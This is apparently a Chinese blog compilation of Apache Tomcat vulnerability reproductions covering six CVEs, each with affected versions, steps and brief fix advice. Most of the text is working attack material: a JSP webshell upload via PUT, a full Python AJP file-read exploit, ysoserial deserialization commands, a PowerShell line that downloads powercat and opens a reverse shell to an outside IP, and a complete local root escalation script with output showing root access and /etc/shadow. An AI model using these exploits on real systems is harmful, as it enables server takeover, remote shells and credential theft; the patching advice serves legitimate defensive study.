tomcat漏洞汇总

目录PUT 任意文件上传(CVE-2017-12615)影响版本漏洞复现修复建议远程代码执行(CVE-2019-0232)影响版本漏洞复现修复建议Apache-Tomcat-Ajp漏洞(CVE-2020-1938)影响版本漏洞复现修复建议Tomcat Session(CVE-2020-9484)反序列化漏洞影响版本漏洞复现临时修复建议Tomcat反序列化漏洞(CVE-2016-8735)影响版本漏洞复现修复建议Tomcat本地提权漏洞(CVE-2016-1240)影响版本漏洞复现修复建议参考链接PUT 任意文件上传(CVE-2017-12615)影响版本

tomcat 7.0.0~7.0.79

漏洞复现

1. 访问apache tomcat首页 http://192.168.17.140:8080

2. 访问http://192.168.17.140:8080/，使用burpsuit工具进行抓包，并将请求包发送至Repeater

3. 将请求包GET方式改为PUT方式，上传ceshi.jsp，内容为“Hello Word”，点击发送，发现服务器返回“201”

4. 访问刚上传的ceshi.jsp文件，发现可访问，从而确定存在CVE-2017-12615漏洞

5. 接下来上传木马backdoor.jsp，如图所示上传成功

6. 使用冰蝎连接shell，密码为“rebeyond”

修复建议

用户可以禁用PUT方法来防护此漏洞，操作方式如下：在Tomcat的web.xml 文件中配置org.apache.catalina.servlets.DefaultServlet的初始化参数

<init-param><param-name>readonly</param-name><param-value>true</param-value></init-param>

确保readonly参数为true（默认值），即不允许DELETE和PUT操作。

远程代码执行(CVE-2019-0232)影响版本

tomcat 7.0.94之前

tomcat 8.5.40之前

tomcat 9.0.19之前 版本都会影响

漏洞复现

1. 首先修改apache-tomcat-9.0.13\conf\ web.xml

将此段注释删除，并添加红框内代码。

<init-param> <param-name>enableCmdLineArguments</param-name> <param-value>true</param-value></init-param><init-param> <param-name>executadle</param-name> <param-value></param-value></init-param>

2. 将此处注释删除

3. 更改

apache-tomcat-9.0.13\conf\ context.xml

4. 在apache-tomcat-9.0.13\webapps\ROOT\WEB-INF目录下，新建 cgi-bin 文件夹在文件夹内创建一个.bat文件

@echo offecho Content-Type: test/plainecho.set foo=&~1%foo%

5. 在后边追加命令，即可实现命令执行操作

修复建议

1. 禁用enableCmdLineArguments参数。

2. 在conf/web.xml中覆写采用更严格的参数合法性检验规则。

3. 升级tomcat到9.0.17以上版本。

Apache-Tomcat-Ajp漏洞(CVE-2020-1938)影响版本

Apache Tomcat 6

Apache Tomcat 7 < 7.0.100

Apache Tomcat 8 < 8.5.51

Apache Tomcat 9 < 9.0.31

开启了8009端口的ajp服务

漏洞复现

1. 网址中下载Tomcat，下载好安装包之后，进入bin目录执行startup.bat启动tomcat

2. 访问http://localhost:8080

3. 修改配置文件,首先修改apache-tomcat-9.0.13\conf\ web.xml

将此段注释删除，并添加红框内代码

<init-param><param-name>enableCmdLineArguments</param-name><param-value>true</param-value> </init-param> <init-param><param-name>executadle</param-name><param-value></param-value> </init-param>

4. 将此处注释删除

5. 修改 apache-tomcat-9.0.13\conf\ context.xml

添加privileged="true"语句 如下图

环境搭建完成！

6. 在cmd下执行python脚本

脚本代码如下：

#!/usr/bin/env python#CNVD-2020-10487 Tomcat-Ajp lfi#by ydhcuiimport struct# Some references:# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.htmldef pack_string(s):if s is None:return struct.pack('>h', -1)l = len(s)return struct.pack('>H%dsb' % l, l, s.encode('utf8'), 0)def unpack(stream, fmt):size = struct.calcsize(fmt)buf = stream.read(size)return struct.unpack(fmt, buf)def unpack_string(stream):size, = unpack(stream, '>h')if size == -1: # null stringreturn Noneres, = unpack(stream, '%ds' % size)stream.read(1) # \0return resclass NotFoundException(Exception):passclass AjpBodyRequest(object):# server == web server, container == servletSERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)MAX_REQUEST_LENGTH = 8186def __init__(self, data_stream, data_len, data_direction=None):self.data_stream = data_streamself.data_len = data_lenself.data_direction = data_directiondef serialize(self):data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)if len(data) == 0:return struct.pack('>bbH', 0x12, 0x34, 0x00)else:res = struct.pack('>H', len(data))res += dataif self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:header = struct.pack('>bbH', 0x12, 0x34, len(res))else:header = struct.pack('>bbH', 0x41, 0x42, len(res))return header + resdef send_and_receive(self, socket, stream):while True:data = self.serialize()socket.send(data)r = AjpResponse.receive(stream)while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:r = AjpResponse.receive(stream)if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:breakclass AjpForwardRequest(object):_, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28)REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}# server == web server, container == servletSERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)COMMON_HEADERS = ['SC_REQ_ACCEPT','SC_REQ_ACCEPT_CHARSET', 'SC_REQ_ACCEPT_ENCODING', 'SC_REQ_ACCEPT_LANGUAGE', 'SC_REQ_AUTHORIZATION','SC_REQ_CONNECTION', 'SC_REQ_CONTENT_TYPE', 'SC_REQ_CONTENT_LENGTH', 'SC_REQ_COOKIE', 'SC_REQ_COOKIE2','SC_REQ_HOST', 'SC_REQ_PRAGMA', 'SC_REQ_REFERER', 'SC_REQ_USER_AGENT']ATTRIBUTES = ['context', 'servlet_path', 'remote_user', 'auth_type', 'query_string', 'route', 'ssl_cert', 'ssl_cipher', 'ssl_session', 'req_attribute', 'ssl_key_size', 'secret', 'stored_method']def __init__(self, data_direction=None):self.prefix_code = 0x02self.method = Noneself.protocol = Noneself.req_uri = Noneself.remote_addr = Noneself.remote_host = Noneself.server_name = Noneself.server_port = Noneself.is_ssl = Noneself.num_headers = Noneself.request_headers = Noneself.attributes = Noneself.data_direction = data_directiondef pack_headers(self):self.num_headers = len(self.request_headers)res = ''res = struct.pack('>h', self.num_headers)for h_name in self.request_headers:if h_name.startswith('SC_REQ'):code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1res += struct.pack('BB', 0xA0, code)else:res += pack_string(h_name)res += pack_string(self.request_headers[h_name])return resdef pack_attributes(self):res = b''for attr in self.attributes:a_name = attr['name']code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1res += struct.pack('b', code)if a_name == 'req_attribute':aa_name, a_value = attr['value']res += pack_string(aa_name)res += pack_string(a_value)else:res += pack_string(attr['value'])res += struct.pack('B', 0xFF)return resdef serialize(self):res = ''res = struct.pack('bb', self.prefix_code, self.method)res += pack_string(self.protocol)res += pack_string(self.req_uri)res += pack_string(self.remote_addr)res += pack_string(self.remote_host)res += pack_string(self.server_name)res += struct.pack('>h', self.server_port)res += struct.pack('?', self.is_ssl)res += self.pack_headers()res += self.pack_attributes()if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:header = struct.pack('>bbh', 0x12, 0x34, len(res))else:header = struct.pack('>bbh', 0x41, 0x42, len(res))return header + resdef parse(self, raw_packet):stream = StringIO(raw_packet)self.magic1, self.magic2, data_len = unpack(stream, 'bbH')self.prefix_code, self.method = unpack(stream, 'bb')self.protocol = unpack_string(stream)self.req_uri = unpack_string(stream)self.remote_addr = unpack_string(stream)self.remote_host = unpack_string(stream)self.server_name = unpack_string(stream)self.server_port = unpack(stream, '>h')self.is_ssl = unpack(stream, '?')self.num_headers, = unpack(stream, '>H')self.request_headers = {}for i in range(self.num_headers):code, = unpack(stream, '>H')if code > 0xA000:h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]else:h_name = unpack(stream, '%ds' % code)stream.read(1) # \0h_value = unpack_string(stream)self.request_headers[h_name] = h_valuedef send_and_receive(self, socket, stream, save_cookies=False):res = []i = socket.sendall(self.serialize())if self.method == AjpForwardRequest.POST:return resr = AjpResponse.receive(stream)assert r.prefix_code == AjpResponse.SEND_HEADERSres.append(r)if save_cookies and 'Set-Cookie' in r.response_headers:self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']# read body chunks and end response packetswhile True:r = AjpResponse.receive(stream)res.append(r)if r.prefix_code == AjpResponse.END_RESPONSE:breakelif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:continueelse:raise NotImplementedErrorbreakreturn resclass AjpResponse(object):_,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)COMMON_SEND_HEADERS = ['Content-Type', 'Content-Language', 'Content-Length', 'Date', 'Last-Modified','Location', 'Set-Cookie', 'Set-Cookie2', 'Servlet-Engine', 'Status', 'WWW-Authenticate']def parse(self, stream):# read headersself.magic, self.data_length, self.prefix_code = unpack(stream, '>HHb')if self.prefix_code == AjpResponse.SEND_HEADERS:self.parse_send_headers(stream)elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:self.parse_send_body_chunk(stream)elif self.prefix_code == AjpResponse.END_RESPONSE:self.parse_end_response(stream)elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:self.parse_get_body_chunk(stream)else:raise NotImplementedErrordef parse_send_headers(self, stream):self.http_status_code, = unpack(stream, '>H')self.http_status_msg = unpack_string(stream)self.num_headers, = unpack(stream, '>H')self.response_headers = {}for i in range(self.num_headers):code, = unpack(stream, '>H')if code <= 0xA000: # custom headerh_name, = unpack(stream, '%ds' % code)stream.read(1) # \0h_value = unpack_string(stream)else:h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]h_value = unpack_string(stream)self.response_headers[h_name] = h_valuedef parse_send_body_chunk(self, stream):self.data_length, = unpack(stream, '>H')self.data = stream.read(self.data_length+1)def parse_end_response(self, stream):self.reuse, = unpack(stream, 'b')def parse_get_body_chunk(self, stream):rlen, = unpack(stream, '>H')return rlen@staticmethoddef receive(stream):r = AjpResponse()r.parse(stream)return rimport socketdef prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)fr.method = methodfr.protocol = 'HTTP/1.1'fr.req_uri = req_urifr.remote_addr = target_hostfr.remote_host = Nonefr.server_name = target_hostfr.server_port = 80fr.request_headers = {'SC_REQ_ACCEPT': 'text/html','SC_REQ_CONNECTION': 'keep-alive','SC_REQ_CONTENT_LENGTH': '0','SC_REQ_HOST': target_host,'SC_REQ_USER_AGENT': 'Mozilla','Accept-Encoding': 'gzip, deflate, sdch','Accept-Language': 'en-US,en;q=0.5','Upgrade-Insecure-Requests': '1','Cache-Control': 'max-age=0'}fr.is_ssl = Falsefr.attributes = []return frclass Tomcat(object):def __init__(self, target_host, target_port):self.target_host = target_hostself.target_port = target_portself.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)self.socket.connect((target_host, target_port))self.stream = self.socket.makefile('rb', bufsize=0)def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):self.req_uri = req_uriself.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))print('Getting resource at ajp13://%s:%d%s' % (self.target_host, self.target_port, req_uri))if user is not None and password is not None:self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = 'Basic ' + ('%s:%s' % (user, password)).encode('base64').replace('\n', '')for h in headers:self.forward_request.request_headers[h] = headers[h]for a in attributes:self.forward_request.attributes.append(a)responses = self.forward_request.send_and_receive(self.socket, self.stream)if len(responses) == 0:return None, Nonesnd_hdrs_res = responses[0]data_res = responses[1:-1]if len(data_res) == 0:print('No data in response. Headers:%s\n' % snd_hdrs_res.response_headers)return snd_hdrs_res, data_res'''javax.servlet.include.request_urijavax.servlet.include.path_infojavax.servlet.include.servlet_path'''import argparseparser = argparse.ArgumentParser()parser.add_argument('target', type=str, help='Hostname or IP to attack')parser.add_argument('-p', '--port', type=int, default=8009, help='AJP port to attack (default is 8009)')parser.add_argument('-f', '--file', type=str, default='WEB-INF/web.xml', help='file path :(WEB-INF/web.xml)')args = parser.parse_args()t = Tomcat(args.target, args.port)_,data = t.perform_request('/asdf',attributes=[ {'name':'req_attribute','value':['javax.servlet.include.request_uri','/']}, {'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]}, {'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']}, ])print('----------------------------')print(''.join([d.data for d in data]))

7. 可以成功访问文件，漏洞复现成功！

修复建议

1、禁用AIP协议端口，在conf/server.xml配置文件中注释掉<Connector port=“8009” protocol="AJP/1.3"redirectPort=“8443”/>

2、升级官方最新版本。

Tomcat Session(CVE-2020-9484)反序列化漏洞影响版本

Apache Tomcat 10.0.0-M1—10.0.0-M4

Apache Tomcat 9.0.0.M1—9.0.34

Apache Tomcat 8.5.0—8.5.54

Apache Tomcat 7.0.0—7.0.103

攻击者能够控制服务器上文件的内容和文件名称服务器PersistenceManager配置中使用了FileStorePersistenceManager中的sessionAttributeValueClassNameFilter被配置为“null”，或者过滤器不够严格，导致允许攻击者提供反序列化数据的对象攻击者知道使用的FileStore存储位置到攻击者可控文件的相对路径漏洞复现

下载ysoserial 一个生成java反序列化 payload 的 .jar 包

下载地址： https://github.com/frohoff/ysoserial.git

用浏览器下载，解压，并生成一个jar包，复制进linux系统

生成jar包的方式，进入文件夹的目录输入 输入命令： mvn package

编译有点慢需要几分钟世间

编译完成后在target目录下，有jar包

执行下面语句生成 payload

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Groovy1 'touch /tmp/2333' > /tmp/test.session

使用以下命令访问tomcat服务

curl 'http://127.0.0.1:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../tmp/test'

虽然显示报错，但是也执行了。在/tmp目录下创建了2333目录

修复建议 升级到 Apache Tomcat 10.0.0-M5 及以上版本升级到 Apache Tomcat 9.0.35 及以上版本升级到 Apache Tomcat 8.5.55 及以上版本升级到 Apache Tomcat 7.0.104 及以上版本

临时修复建议

禁止使用Session持久化功能FileStore

Tomcat反序列化漏洞(CVE-2016-8735)影响版本

Apache Tomcat 9.0.0.M1 to 9.0.0.M11Apache Tomcat 8.5.0 to 8.5.6Apache Tomcat 8.0.0.RC1 to 8.0.38Apache Tomcat 7.0.0 to 7.0.72Apache Tomcat 6.0.0 to 6.0.47

外部需要开启JmxRemoteLifecycleListener监听的 10001 和 10002 端口，来实现远程代码执行

漏洞复现

环境：Tomcat7.0.39

在 conf/server.xml 中第 30 行中配置启用JmxRemoteLifecycleListener功能监听的端口

配置好 jmx 的端口后，我们在 tomcat 版本(Index of /dist/tomcat)所对应的 extras/ 目录下来下载 catalina-jmx-remote.jar 以及下载 groovy-2.3.9.jar 两个jar 包。下载完成后放至在lib目录下。

接着我们再去bin目录下修改catalina.bat脚本。在ExecuteThe Requested Command注释前面添加这么一行。主要配置的意思是设置启动tomcat的相关配置，不开启远程监听jvm信息。设置不启用他的ssl链接和不使用监控的账户。具体的配置可以去了解一下利用tomcat的jmx监控。

然后启动 Tomcat ，看看本地的 10001 和 10002 端口是否开放

漏洞利用代码

java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 10001 Groovy1 'calc.exe'

但是由于该命令没有回显，所以我们还是选择反弹shell回来，以下是反弹nc的shell。更多的关于windows反弹shell的cmd和powershell命令

java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 10001 Groovy1 'powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.10.11 -p 8888 -e cmd'

修复建议

1、关闭 JmxRemoteLifecycleListener 功能，或者是对 jmx JmxRemoteLifecycleListener 远程端口进行网络访问控制。同时，增加严格的认证方式。

2、根据官方去升级更新相对应的版本。

Tomcat本地提权漏洞(CVE-2016-1240)影响版本

Tomcat 8 <= 8.0.36-2Tomcat 7 <= 7.0.70-2Tomcat 6 <= 6.0.45+dfsg-1~deb8u1

通过deb包安装的tomcat需要重启tomcat受影响的系统包括Debian、Ubuntu，其他使用相应deb包的系统也可能受到影响漏洞复现

Debian系统的Linux上管理员通常利用apt-get进行包管理，CVE-2016-1240这一漏洞其问题出在Tomcat的deb包中,使 deb包安装的Tomcat程序会自动为管理员安装一个启动脚本：/etc/init.d/tocat* 利用该脚本，可导致攻击者通过低权限的Tomcat用户获得系统root权限！

本地攻击者，作为tomcat用户（比如说，通过web应用的漏洞）若将catalina.out修改为指向任意系统文件的链接，一旦Tomcat init脚本（ROOT权限运行）在服务重启后再次打开catalina.out文件，攻击者就可获取ROOT权限。

漏洞poc

#!/bin/bash## Tomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit## CVE-2016-1240## Discovered and coded by:## Dawid Golunski# http://legalhackers.com## This exploit targets Tomcat (versions 6, 7 and 8) packaging on # Debian-based distros including Debian, Ubuntu etc.# It allows attackers with a tomcat shell (e.g. obtained remotely through a # vulnerable java webapp, or locally via weak permissions on webapps in the # Tomcat webroot directories etc.) to escalate their privileges to root.## Usage:# ./tomcat-rootprivesc-deb.sh path_to_catalina.out [-deferred]## The exploit can used in two ways:## -active (assumed by default) - which waits for a Tomcat restart in a loop and instantly# gains/executes a rootshell via ld.so.preload as soon as Tomcat service is restarted. # It also gives attacker a chance to execute: kill [tomcat-pid] command to force/speed up# a Tomcat restart (done manually by an admin, or potentially by some tomcat service watchdog etc.)## -deferred (requires the -deferred switch on argv[2]) - this mode symlinks the logfile to # /etc/default/locale and exits. It removes the need for the exploit to run in a loop waiting. # Attackers can come back at a later time and check on the /etc/default/locale file. Upon a # Tomcat restart / server reboot, the file should be owned by tomcat user. The attackers can# then add arbitrary commands to the file which will be executed with root privileges by # the /etc/cron.daily/tomcatN logrotation cronjob (run daily around 6:25am on default # Ubuntu/Debian Tomcat installations).## See full advisory for details at:# http://legalhackers.com/advisories/Tomcat-DebPkgs-Root-Privilege-Escalation-Exploit-CVE-2016-1240.html## Disclaimer:# For testing purposes only. Do no harm.#BACKDOORSH='/bin/bash'BACKDOORPATH='/tmp/tomcatrootsh'PRIVESCLIB='/tmp/privesclib.so'PRIVESCSRC='/tmp/privesclib.c'SUIDBIN='/usr/bin/sudo'function cleanexit { # Cleanup echo -e '\n[+] Cleaning up...' rm -f $PRIVESCSRC rm -f $PRIVESCLIB rm -f $TOMCATLOG touch $TOMCATLOG if [ -f /etc/ld.so.preload ]; thenecho -n > /etc/ld.so.preload 2>/dev/null fi echo -e '\n[+] Job done. Exiting with code $1 \n' exit $1}function ctrl_c() {echo -e '\n[+] Active exploitation aborted. Remember you can use -deferred switch for deferred exploitation.' cleanexit 0}#intro echo -e '\033[94m \nTomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit\nCVE-2016-1240\n'echo -e 'Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \033[0m'# Argsif [ $# -lt 1 ]; then echo -e '\n[!] Exploit usage: \n\n$0 path_to_catalina.out [-deferred]\n' exit 3fiif [ '$2' = '-deferred' ]; then mode='deferred'else mode='active'fi# Priv checkecho -e '\n[+] Starting the exploit in [\033[94m$mode\033[0m] mode with the following privileges: \n`id`'id | grep -q tomcatif [ $? -ne 0 ]; then echo -e '\n[!] You need to execute the exploit as tomcat user! Exiting.\n' exit 3fi# Set target pathsTOMCATLOG='$1'if [ ! -f $TOMCATLOG ]; then echo -e '\n[!] The specified Tomcat catalina.out log ($TOMCATLOG) doesn't exist. Try again.\n' exit 3fiecho -e '\n[+] Target Tomcat log file set to $TOMCATLOG'# [ Deferred exploitation ]# Symlink the log file to /etc/default/locale file which gets executed daily on default# tomcat installations on Debian/Ubuntu by the /etc/cron.daily/tomcatN logrotation cronjob around 6:25am.# Attackers can freely add their commands to the /etc/default/locale script after Tomcat has been# restarted and file owner gets changed.if [ '$mode' = 'deferred' ]; then rm -f $TOMCATLOG && ln -s /etc/default/locale $TOMCATLOG if [ $? -ne 0 ]; thenecho -e '\n[!] Couldn't remove the $TOMCATLOG file or create a symlink.'cleanexit 3 fi echo -e '\n[+] Symlink created at: \n`ls -l $TOMCATLOG`' echo -e '\n[+] The current owner of the file is: \n`ls -l /etc/default/locale`' echo -ne '\n[+] Keep an eye on the owner change on /etc/default/locale . After the Tomcat restart / system reboot' echo -ne '\n you'll be able to add arbitrary commands to the file which will get executed with root privileges' echo -ne '\n at ~6:25am by the /etc/cron.daily/tomcatN log rotation cron. See also -active mode if you can't wait ;) \n\n' exit 0fi# [ Active exploitation ]trap ctrl_c INT# Compile privesc preload libraryecho -e '\n[+] Compiling the privesc shared library ($PRIVESCSRC)'cat <<_solibeof_>$PRIVESCSRC#define _GNU_SOURCE#include #include #include #include uid_t geteuid(void) { static uid_t (*old_geteuid)(); old_geteuid = dlsym(RTLD_NEXT, 'geteuid'); if ( old_geteuid() == 0 ) {chown('$BACKDOORPATH', 0, 0);chmod('$BACKDOORPATH', 04777);unlink('/etc/ld.so.preload'); } return old_geteuid();}_solibeof_gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldlif [ $? -ne 0 ]; then echo -e '\n[!] Failed to compile the privesc lib $PRIVESCSRC.' cleanexit 2;fi# Prepare backdoor shellcp $BACKDOORSH $BACKDOORPATHecho -e '\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`'# Safety checkif [ -f /etc/ld.so.preload ]; then echo -e '\n[!] /etc/ld.so.preload already exists. Exiting for safety.' cleanexit 2fi# Symlink the log file to ld.so.preloadrm -f $TOMCATLOG && ln -s /etc/ld.so.preload $TOMCATLOGif [ $? -ne 0 ]; then echo -e '\n[!] Couldn't remove the $TOMCATLOG file or create a symlink.' cleanexit 3fiecho -e '\n[+] Symlink created at: \n`ls -l $TOMCATLOG`'# Wait for Tomcat to re-open the logsecho -ne '\n[+] Waiting for Tomcat to re-open the logs/Tomcat service restart...'echo -e '\nYou could speed things up by executing : kill [Tomcat-pid] (as tomcat user) if needed ;) 'while :; do sleep 0.1 if [ -f /etc/ld.so.preload ]; thenecho $PRIVESCLIB > /etc/ld.so.preloadbreak; fidone# /etc/ld.so.preload file should be owned by tomcat user at this point# Inject the privesc.so shared library to escalate privilegesecho $PRIVESCLIB > /etc/ld.so.preloadecho -e '\n[+] Tomcat restarted. The /etc/ld.so.preload file got created with tomcat privileges: \n`ls -l /etc/ld.so.preload`'echo -e '\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload'echo -e '\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`'# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)echo -e '\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!'sudo --help 2>/dev/null >/dev/null# Check for the rootshellls -l $BACKDOORPATH | grep rws | grep -q rootif [ $? -eq 0 ]; then echo -e '\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`' echo -e '\n\033[94mPlease tell me you're seeing this too ;) \033[0m'else echo -e '\n[!] Failed to get root' cleanexit 2fi# Execute the rootshellecho -e '\n[+] Executing the rootshell $BACKDOORPATH now! \n'$BACKDOORPATH -p -c 'rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB'$BACKDOORPATH -p# Job done.cleanexit 0

poc运行

tomcat7@ubuntu:/tmp$ iduid=110(tomcat7) gid=118(tomcat7) groups=118(tomcat7)tomcat7@ubuntu:/tmp$ lsb_release -aNo LSB modules are available.Distributor ID: UbuntuDescription: Ubuntu 16.04 LTSRelease: 16.04Codename: xenialtomcat7@ubuntu:/tmp$ dpkg -l | grep tomcatii libtomcat7-java 7.0.68-1ubuntu0.1 all Servlet and JSP engine -- core librariesii tomcat7 7.0.68-1ubuntu0.1 all Servlet and JSP engineii tomcat7-common 7.0.68-1ubuntu0.1 all Servlet and JSP engine -- common filestomcat7@ubuntu:/tmp$ ./tomcat-rootprivesc-deb.sh /var/log/tomcat7/catalina.out Tomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation ExploitCVE-2016-1240Discovered and coded by: Dawid Golunski http://legalhackers.com[+] Starting the exploit in [active] mode with the following privileges: uid=110(tomcat7) gid=118(tomcat7) groups=118(tomcat7)[+] Target Tomcat log file set to /var/log/tomcat7/catalina.out[+] Compiling the privesc shared library (/tmp/privesclib.c)[+] Backdoor/low-priv shell installed at: -rwxr-xr-x 1 tomcat7 tomcat7 1037464 Sep 30 22:27 /tmp/tomcatrootsh[+] Symlink created at: lrwxrwxrwx 1 tomcat7 tomcat7 18 Sep 30 22:27 /var/log/tomcat7/catalina.out -> /etc/ld.so.preload[+] Waiting for Tomcat to re-open the logs/Tomcat service restart...You could speed things up by executing : kill [Tomcat-pid] (as tomcat user) if needed ;)[+] Tomcat restarted. The /etc/ld.so.preload file got created with tomcat privileges: -rw-r--r-- 1 tomcat7 root 19 Sep 30 22:28 /etc/ld.so.preload[+] Adding /tmp/privesclib.so shared lib to /etc/ld.so.preload[+] The /etc/ld.so.preload file now contains: /tmp/privesclib.so[+] Escalating privileges via the /usr/bin/sudo SUID binary to get root![+] Rootshell got assigned root SUID perms at: -rwsrwxrwx 1 root root 1037464 Sep 30 22:27 /tmp/tomcatrootshPlease tell me you're seeing this too ;)[+] Executing the rootshell /tmp/tomcatrootsh now! tomcatrootsh-4.3# iduid=110(tomcat7) gid=118(tomcat7) euid=0(root) groups=118(tomcat7)tomcatrootsh-4.3# whoamiroottomcatrootsh-4.3# head -n3 /etc/shadowroot:$6$oaf[cut]:16912:0:99999:7:::daemon:*:16912:0:99999:7:::bin:*:16912:0:99999:7:::tomcatrootsh-4.3# exitexit修复建议

目前，Debian、Ubuntu等相关操作系统厂商已修复并更新受影响的Tomcat安装包。受影响用户可采取以下解决方案：

1、更新Tomcat服务器版本：

（1）针对Ubuntu公告链接http://www.ubuntu.com/usn/usn-3081-1/

（2）针对Debian公告链接https://lists.debian.org/debian-security-announce/2016/msg00249.htmlhttps://www.debian.org/security/2016/dsa-3669https://www.debian.org/security/2016/dsa-3670

2、加入-h参数防止其他文件所有者被更改，即更改Tomcat的启动脚本为：chown -h $TOMCAT6_USER “$CATALINA_PID” “$CATALINA_BASE”/logs/catalina.out

参考链接

CVE-2019-0232漏洞复现_whh6tl的博客-CSDN博客_cve-2019-0232

(CVE-2020-1938)Apache Tomcat远程代码执行漏洞复现_whh6tl的博客-CSDN博客

Tomcat Session(CVE-2020-9484)反序列化漏洞复现_白冷的博客-CSDN博客_cve-2020-9484

https://i4t.com/1545.html

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